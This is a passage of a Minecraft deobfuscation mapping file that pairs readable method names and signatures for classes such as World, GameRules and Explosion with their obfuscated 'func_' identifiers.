(Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98277_a (Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart;)V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/func_180612_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; net/minecraft/tileentity/MobSpawnerBaseLogic/func_180612_a (Lnet/minecraft/world/World;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98270_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/setEntityName (Ljava/lang/String;)V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98272_a (Ljava/lang/String;)V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/spawnNewEntity (Lnet/minecraft/entity/Entity;Z)Lnet/minecraft/entity/Entity; net/minecraft/tileentity/MobSpawnerBaseLogic/func_180613_a (Lnet/minecraft/entity/Entity;Z)Lnet/minecraft/entity/Entity; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getSpawnerPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/tileentity/MobSpawnerBaseLogic/func_177221_b ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/setDelayToMin (I)Z net/minecraft/tileentity/MobSpawnerBaseLogic/func_98268_b (I)Z +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98280_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/updateSpawner ()V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98278_g ()V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getMobRotation ()D net/minecraft/tileentity/MobSpawnerBaseLogic/func_177222_d ()D +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getPrevMobRotation ()D net/minecraft/tileentity/MobSpawnerBaseLogic/func_177223_e ()D +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getEntityNameToSpawn ()Ljava/lang/String; net/minecraft/tileentity/MobSpawnerBaseLogic/func_98276_e ()Ljava/lang/String; +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/isActivated ()Z net/minecraft/tileentity/MobSpawnerBaseLogic/func_98279_f ()Z +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/resetTimer ()V net/minecraft/tileentity/MobSpawnerBaseLogic/func_98273_j ()V +MD: net/minecraft/tileentity/MobSpawnerBaseLogic/getRandomEntity ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart; net/minecraft/tileentity/MobSpawnerBaseLogic/func_98269_i ()Lnet/minecraft/tileentity/MobSpawnerBaseLogic$WeightedRandomMinecart; +MD: net/minecraft/block/BlockEventData/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/block/BlockEventData/func_180328_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/BlockEventData/getEventID ()I net/minecraft/block/BlockEventData/func_151339_d ()I +MD: net/minecraft/block/BlockEventData/getEventParameter ()I net/minecraft/block/BlockEventData/func_151338_e ()I +MD: net/minecraft/block/BlockEventData/getBlock ()Lnet/minecraft/block/Block; net/minecraft/block/BlockEventData/func_151337_f ()Lnet/minecraft/block/Block; +MD: net/minecraft/block/BlockEventData/equals (Ljava/lang/Object;)Z net/minecraft/block/BlockEventData/equals (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockEventData/toString ()Ljava/lang/String; net/minecraft/block/BlockEventData/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumWorldBlockLayer/toString ()Ljava/lang/String; net/minecraft/util/EnumWorldBlockLayer/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumWorldBlockLayer/values ()[Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/util/EnumWorldBlockLayer/values ()[Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/world/ChunkCoordIntPair/getCenterXPos ()I net/minecraft/world/ChunkCoordIntPair/func_77273_a ()I +MD: net/minecraft/world/ChunkCoordIntPair/getCenterBlock (I)Lnet/minecraft/util/BlockPos; net/minecraft/world/ChunkCoordIntPair/func_180619_a (I)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/ChunkCoordIntPair/chunkXZ2Int (II)J net/minecraft/world/ChunkCoordIntPair/func_77272_a (II)J +MD: net/minecraft/world/ChunkCoordIntPair/getBlock (III)Lnet/minecraft/util/BlockPos; net/minecraft/world/ChunkCoordIntPair/func_180331_a (III)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/ChunkCoordIntPair/getCenterZPosition ()I net/minecraft/world/ChunkCoordIntPair/func_77274_b ()I +MD: net/minecraft/world/ChunkCoordIntPair/getXStart ()I net/minecraft/world/ChunkCoordIntPair/func_180334_c ()I +MD: net/minecraft/world/ChunkCoordIntPair/getZStart ()I net/minecraft/world/ChunkCoordIntPair/func_180333_d ()I +MD: net/minecraft/world/ChunkCoordIntPair/getXEnd ()I net/minecraft/world/ChunkCoordIntPair/func_180332_e ()I +MD: net/minecraft/world/ChunkCoordIntPair/equals (Ljava/lang/Object;)Z net/minecraft/world/ChunkCoordIntPair/equals (Ljava/lang/Object;)Z +MD: net/minecraft/world/ChunkCoordIntPair/getZEnd ()I net/minecraft/world/ChunkCoordIntPair/func_180330_f ()I +MD: net/minecraft/world/ChunkCoordIntPair/hashCode ()I net/minecraft/world/ChunkCoordIntPair/hashCode ()I +MD: net/minecraft/world/ChunkCoordIntPair/toString ()Ljava/lang/String; net/minecraft/world/ChunkCoordIntPair/toString ()Ljava/lang/String; +MD: net/minecraft/world/Explosion/doExplosionA ()V net/minecraft/world/Explosion/func_77278_a ()V +MD: net/minecraft/world/Explosion/doExplosionB (Z)V net/minecraft/world/Explosion/func_77279_a (Z)V +MD: net/minecraft/world/Explosion/getPlayerKnockbackMap ()Ljava/util/Map; net/minecraft/world/Explosion/func_77277_b ()Ljava/util/Map; +MD: net/minecraft/world/Explosion/getExplosivePlacedBy ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/world/Explosion/func_94613_c ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/world/Explosion/clearAffectedBlockPositions ()V net/minecraft/world/Explosion/func_180342_d ()V +MD: net/minecraft/world/Explosion/getAffectedBlockPositions ()Ljava/util/List; net/minecraft/world/Explosion/func_180343_e ()Ljava/util/List; +MD: net/minecraft/world/ColorizerFoliage/getFoliageColorPine ()I net/minecraft/world/ColorizerFoliage/func_77466_a ()I +MD: net/minecraft/world/ColorizerFoliage/getFoliageColor (DD)I net/minecraft/world/ColorizerFoliage/func_77470_a (DD)I +MD: net/minecraft/world/ColorizerFoliage/setFoliageBiomeColorizer ([I)V net/minecraft/world/ColorizerFoliage/func_77467_a ([I)V +MD: net/minecraft/world/ColorizerFoliage/getFoliageColorBirch ()I net/minecraft/world/ColorizerFoliage/func_77469_b ()I +MD: net/minecraft/world/ColorizerFoliage/getFoliageColorBasic ()I net/minecraft/world/ColorizerFoliage/func_77468_c ()I +MD: net/minecraft/world/GameRules$Value/getString ()Ljava/lang/String; net/minecraft/world/GameRules$Value/func_82756_a ()Ljava/lang/String; +MD: net/minecraft/world/GameRules$Value/setValue (Ljava/lang/String;)V net/minecraft/world/GameRules$Value/func_82757_a (Ljava/lang/String;)V +MD: net/minecraft/world/GameRules$Value/getBoolean ()Z net/minecraft/world/GameRules$Value/func_82758_b ()Z +MD: net/minecraft/world/GameRules$Value/getInt ()I net/minecraft/world/GameRules$Value/func_180255_c ()I +MD: net/minecraft/world/GameRules$Value/getType ()Lnet/minecraft/world/GameRules$ValueType; net/minecraft/world/GameRules$Value/func_180254_e ()Lnet/minecraft/world/GameRules$ValueType; +MD: net/minecraft/world/GameRules$ValueType/values ()[Lnet/minecraft/world/GameRules$ValueType; net/minecraft/world/GameRules$ValueType/values ()[Lnet/minecraft/world/GameRules$ValueType; +MD: net/minecraft/world/GameRules/writeToNBT ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/GameRules/func_82770_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/GameRules/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/GameRules/func_82768_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/GameRules/getString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/world/GameRules/func_82767_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/world/GameRules/areSameType (Ljava/lang/String;Lnet/minecraft/world/GameRules$ValueType;)Z net/minecraft/world/GameRules/func_180264_a (Ljava/lang/String;Lnet/minecraft/world/GameRules$ValueType;)Z +MD: net/minecraft/world/GameRules/setOrCreateGameRule (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/world/GameRules/func_82764_b (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/world/GameRules/addGameRule (Ljava/lang/String;Ljava/lang/String;Lnet/minecraft/world/GameRules$ValueType;)V net/minecraft/world/GameRules/func_180262_a (Ljava/lang/String;Ljava/lang/String;Lnet/minecraft/world/GameRules$ValueType;)V +MD: net/minecraft/world/GameRules/getRules ()[Ljava/lang/String; net/minecraft/world/GameRules/func_82763_b ()[Ljava/lang/String; +MD: net/minecraft/world/GameRules/getBoolean (Ljava/lang/String;)Z net/minecraft/world/GameRules/func_82766_b (Ljava/lang/String;)Z +MD: net/minecraft/world/GameRules/getInt (Ljava/lang/String;)I net/minecraft/world/GameRules/func_180263_c (Ljava/lang/String;)I +MD: net/minecraft/world/GameRules/hasRule (Ljava/lang/String;)Z net/minecraft/world/GameRules/func_82765_e (Ljava/lang/String;)Z +MD: net/minecraft/world/ColorizerGrass/getGrassColor (DD)I net/minecraft/world/ColorizerGrass/func_77480_a (DD)I +MD: net/minecraft/world/ColorizerGrass/setGrassBiomeColorizer ([I)V net/minecraft/world/ColorizerGrass/func_77479_a ([I)V +MD: net/minecraft/world/World$1/call ()Ljava/lang/String; net/minecraft/world/World$1/call ()Ljava/lang/String; +MD: net/minecraft/world/World$1/call ()Ljava/lang/Object; net/minecraft/world/World$1/call ()Ljava/lang/Object; +MD: net/minecraft/world/World$2/call ()Ljava/lang/String; net/minecraft/world/World$2/call ()Ljava/lang/String; +MD: net/minecraft/world/World$2/call ()Ljava/lang/Object; net/minecraft/world/World$2/call ()Ljava/lang/Object; +MD: net/minecraft/world/World$3/call ()Ljava/lang/String; net/minecraft/world/World$3/call ()Ljava/lang/String; +MD: net/minecraft/world/World$3/call ()Ljava/lang/Object; net/minecraft/world/World$3/call ()Ljava/lang/Object; +MD: net/minecraft/world/World$4/call ()Ljava/lang/String; net/minecraft/world/World$4/call ()Ljava/lang/String; +MD: net/minecraft/world/World$4/call ()Ljava/lang/Object; net/minecraft/world/World$4/call ()Ljava/lang/Object; +MD: net/minecraft/world/World/getProviderName ()Ljava/lang/String; net/minecraft/world/World/func_72827_u ()Ljava/lang/String; +MD: net/minecraft/world/World/isBlockIndirectlyGettingPowered (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175687_A (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/calculateInitialSkylight ()V net/minecraft/world/World/func_72966_v ()V +MD: net/minecraft/world/World/setSpawnPoint (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/World/func_175652_B (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/World/calculateInitialWeather ()V net/minecraft/world/World/func_72947_a ()V +MD: net/minecraft/world/World/isRainingAt (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175727_C (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/setActivePlayerChunksAndCheckLight ()V net/minecraft/world/World/func_72903_x ()V +MD: net/minecraft/world/World/isBlockinHighHumidity (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_180502_D (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getLoadedEntityList ()Ljava/util/List; net/minecraft/world/World/func_72910_y ()Ljava/util/List; +MD: net/minecraft/world/World/getDifficultyForLocation (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/DifficultyInstance; net/minecraft/world/World/func_175649_E (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/DifficultyInstance; +MD: net/minecraft/world/World/getSeaLevel ()I net/minecraft/world/World/func_181545_F ()I +MD: net/minecraft/world/World/isWater (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175696_F (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getWorldType ()Lnet/minecraft/world/WorldType; net/minecraft/world/World/func_175624_G ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/World/sendQuittingDisconnectingPacket ()V net/minecraft/world/World/func_72882_A ()V +MD: net/minecraft/world/World/checkSessionLock ()V net/minecraft/world/World/func_72906_B ()V +MD: net/minecraft/world/World/getSeed ()J net/minecraft/world/World/func_72905_C ()J +MD: net/minecraft/world/World/getTotalWorldTime ()J net/minecraft/world/World/func_82737_E ()J +MD: net/minecraft/world/World/getWorldTime ()J net/minecraft/world/World/func_72820_D ()J +MD: net/minecraft/world/World/getSpawnPoint ()Lnet/minecraft/util/BlockPos; net/minecraft/world/World/func_175694_M ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/World/getChunkProvider ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/World/func_72863_F ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/World/getSaveHandler ()Lnet/minecraft/world/storage/ISaveHandler; net/minecraft/world/World/func_72860_G ()Lnet/minecraft/world/storage/ISaveHandler; +MD: net/minecraft/world/World/getWorldInfo ()Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/World/func_72912_H ()Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/World/getGameRules ()Lnet/minecraft/world/GameRules; net/minecraft/world/World/func_82736_K ()Lnet/minecraft/world/GameRules; +MD: net/minecraft/world/World/isThundering ()Z net/minecraft/world/World/func_72911_I ()Z +MD: net/minecraft/world/World/isRaining ()Z net/minecraft/world/World/func_72896_J ()Z +MD: net/minecraft/world/World/getMapStorage ()Lnet/minecraft/world/storage/MapStorage; net/minecraft/world/World/func_175693_T ()Lnet/minecraft/world/storage/MapStorage; +MD: net/minecraft/world/World/getHeight ()I net/minecraft/world/World/func_72800_K ()I +MD: net/minecraft/world/World/getActualHeight ()I net/minecraft/world/World/func_72940_L ()I +MD: net/minecraft/world/World/extendedLevelsInChunkCache ()Z net/minecraft/world/World/func_72806_N ()Z +MD: net/minecraft/world/World/getHorizon ()D net/minecraft/world/World/func_72919_O ()D +MD: net/minecraft/world/World/getCurrentDate ()Ljava/util/Calendar; net/minecraft/world/World/func_83015_S ()Ljava/util/Calendar; +MD: net/minecraft/world/World/getScoreboard ()Lnet/minecraft/scoreboard/Scoreboard; net/minecraft/world/World/func_96441_U ()Lnet/minecraft/scoreboard/Scoreboard; +MD: net/minecraft/world/World/getClosestPlayer (DDDD)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/world/World/func_72977_a (DDDD)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/world/World/makeFireworks (DDDDDDLnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/World/func_92088_a (DDDDDDLnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/World/playSoundEffect (DDDLjava/lang/String;FF)V net/minecraft/world/World/func_72908_a (DDDLjava/lang/String;FF)V +MD: net/minecraft/world/World/playSound (DDDLjava/lang/String;FFZ)V net/minecraft/world/World/func_72980_b (DDDLjava/lang/String;FFZ)V +MD: net/minecraft/world/World/calculateSkylightSubtracted (F)I net/minecraft/world/World/func_72967_a (F)I +MD: net/minecraft/world/World/getEntityByID (I)Lnet/minecraft/entity/Entity; net/minecraft/world/World/func_73045_a (I)Lnet/minecraft/entity/Entity; +MD: net/minecraft/world/World/getChunkFromChunkCoords (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/World/func_72964_e (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/World/setRandomSeed (III)Ljava/util/Random; net/minecraft/world/World/func_72843_D (III)Ljava/util/Random; +MD: net/minecraft/world/World/markBlocksDirtyVertical (IIII)V net/minecraft/world/World/func_72975_g (IIII)V +MD: net/minecraft/world/World/isAreaLoaded (IIIIIIZ)Z net/minecraft/world/World/func_175663_a (IIIIIIZ)Z +MD: net/minecraft/world/World/playMoodSoundAndCheckLight (IILnet/minecraft/world/chunk/Chunk;)V net/minecraft/world/World/func_147467_a (IILnet/minecraft/world/chunk/Chunk;)V +MD: net/minecraft/world/World/isChunkLoaded (IIZ)Z net/minecraft/world/World/func_175680_a (IIZ)Z +MD: net/minecraft/world/World/playBroadcastSound (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/World/func_175669_a (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/World/spawnParticle (IZDDDDDD[I)V net/minecraft/world/World/func_175720_a (IZDDDDDD[I)V +MD: net/minecraft/world/World/setTotalWorldTime (J)V net/minecraft/world/World/func_82738_a (J)V +MD: net/minecraft/world/World/addWorldAccess (Lnet/minecraft/world/IWorldAccess;)V net/minecraft/world/World/func_72954_a (Lnet/minecraft/world/IWorldAccess;)V +MD: net/minecraft/world/World/initialize (Lnet/minecraft/world/WorldSettings;)V net/minecraft/world/World/func_72963_a (Lnet/minecraft/world/WorldSettings;)V +MD: net/minecraft/world/World/doesBlockHaveSolidTopSurface (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175683_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getLightFromNeighborsFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175705_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/setLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/World/func_175653_a (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/World/forceBlockUpdateTick (Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Ljava/util/Random;)V net/minecraft/world/World/func_175637_a (Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Ljava/util/Random;)V +MD: net/minecraft/world/World/canBlockBePlaced (Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;ZLnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/Entity;Lnet/minecraft/item/ItemStack;)Z net/minecraft/world/World/func_175716_a (Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;ZLnet/minecraft/util/EnumFacing;Lnet/minecraft/entity/Entity;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/world/World/addTileEntity (Lnet/minecraft/tileentity/TileEntity;)Z net/minecraft/world/World/func_175700_a (Lnet/minecraft/tileentity/TileEntity;)Z +MD: net/minecraft/world/World/isInsideBorder (Lnet/minecraft/world/border/WorldBorder;Lnet/minecraft/entity/Entity;)Z net/minecraft/world/World/func_175673_a (Lnet/minecraft/world/border/WorldBorder;Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/World/getPendingBlockUpdates (Lnet/minecraft/world/chunk/Chunk;Z)Ljava/util/List; net/minecraft/world/World/func_72920_a (Lnet/minecraft/world/chunk/Chunk;Z)Ljava/util/List; +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/World/func_175711_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/World/func_175712_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Ljava/util/List; net/minecraft/world/World/func_175712_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Ljava/util/List; +MD: net/minecraft/world/World/getCollisionBoxes (Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; net/minecraft/world/World/func_147461_a (Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; +MD: net/minecraft/world/World/isMaterialInBB (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;)Z net/minecraft/world/World/func_72875_a (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;)Z +MD: net/minecraft/world/World/handleMaterialAcceleration (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;Lnet/minecraft/entity/Entity;)Z net/minecraft/world/World/func_72918_a (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/World/checkNoEntityCollision (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/entity/Entity;)Z net/minecraft/world/World/func_72917_a (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/World/getBlockDensity (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/AxisAlignedBB;)F net/minecraft/world/World/func_72842_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/AxisAlignedBB;)F +MD: net/minecraft/world/World/rayTraceBlocks (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/world/World/func_72933_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/world/World/rayTraceBlocks (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;Z)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/world/World/func_72901_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;Z)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/world/World/rayTraceBlocks (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;ZZZ)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/world/World/func_147447_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;ZZZ)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/world/World/addWorldInfoToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReportCategory; net/minecraft/world/World/func_72914_a (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReportCategory; +MD: net/minecraft/world/World/isValid (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175701_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/util/BlockPos;I)Z net/minecraft/world/World/func_175697_a (Lnet/minecraft/util/BlockPos;I)Z +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/util/BlockPos;IZ)Z net/minecraft/world/World/func_175648_a (Lnet/minecraft/util/BlockPos;IZ)Z +MD: net/minecraft/world/World/getRawLight (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/EnumSkyBlock;)I net/minecraft/world/World/func_175638_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/EnumSkyBlock;)I +MD: net/minecraft/world/World/isBlockTickPending (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)Z net/minecraft/world/World/func_175691_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)Z +MD: net/minecraft/world/World/scheduleUpdate (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V net/minecraft/world/World/func_175684_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;I)V +MD: net/minecraft/world/World/updateBlockTick (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/World/func_175654_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/World/notifyNeighborsOfStateExcept (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;Lnet/minecraft/util/EnumFacing;)V net/minecraft/world/World/func_175695_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/world/World/setTileEntity (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/World/func_175690_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/World/setBlockState (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/world/World/func_175656_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/world/World/setBlockState (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)Z net/minecraft/world/World/func_180501_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)Z +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175707_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175706_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/getStrongPower (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/world/World/func_175627_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/world/World/playRecord (Lnet/minecraft/util/BlockPos;Ljava/lang/String;)V net/minecraft/world/World/func_175717_a (Lnet/minecraft/util/BlockPos;Ljava/lang/String;)V +MD: net/minecraft/world/World/isBlockLoaded (Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175668_a (Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/spawnParticle (Lnet/minecraft/util/EnumParticleTypes;DDDDDD[I)V net/minecraft/world/World/func_175688_a (Lnet/minecraft/util/EnumParticleTypes;DDDDDD[I)V +MD: net/minecraft/world/World/spawnParticle (Lnet/minecraft/util/EnumParticleTypes;ZDDDDDD[I)V net/minecraft/world/World/func_175682_a (Lnet/minecraft/util/EnumParticleTypes;ZDDDDDD[I)V +MD: net/minecraft/world/World/countEntities (Ljava/lang/Class;)I net/minecraft/world/World/func_72907_a (Ljava/lang/Class;)I +MD: net/minecraft/world/World/getEntitiesWithinAABB (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; net/minecraft/world/World/func_72872_a (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; +MD: net/minecraft/world/World/getEntitiesWithinAABB (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Lcom/google/common/base/Predicate;)Ljava/util/List; net/minecraft/world/World/func_175647_a (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Lcom/google/common/base/Predicate;)Ljava/util/List; +MD: net/minecraft/world/World/findNearestEntityWithinAABB (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/entity/Entity;)Lnet/minecraft/entity/Entity; net/minecraft/world/World/func_72857_a (Ljava/lang/Class;Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/entity/Entity;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/world/World/getEntities (Ljava/lang/Class;Lcom/google/common/base/Predicate;)Ljava/util/List; net/minecraft/world/World/func_175644_a (Ljava/lang/Class;Lcom/google/common/base/Predicate;)Ljava/util/List; +MD: net/minecraft/world/World/loadItemData (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; net/minecraft/world/World/func_72943_a (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; +MD: net/minecraft/world/World/getPlayerEntityByName (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/world/World/func_72924_a (Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/world/World/setItemData (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V net/minecraft/world/World/func_72823_a (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V +MD: net/minecraft/world/World/getStrongholdPos (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/World/func_180499_a (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/World/addTileEntities (Ljava/util/Collection;)V net/minecraft/world/World/func_147448_a (Ljava/util/Collection;)V +MD: net/minecraft/world/World/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72923_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/setEntityState (Lnet/minecraft/entity/Entity;B)V net/minecraft/world/World/func_72960_a (Lnet/minecraft/entity/Entity;B)V +MD: net/minecraft/world/World/getClosestPlayerToEntity (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/entity/player/EntityPlayer; 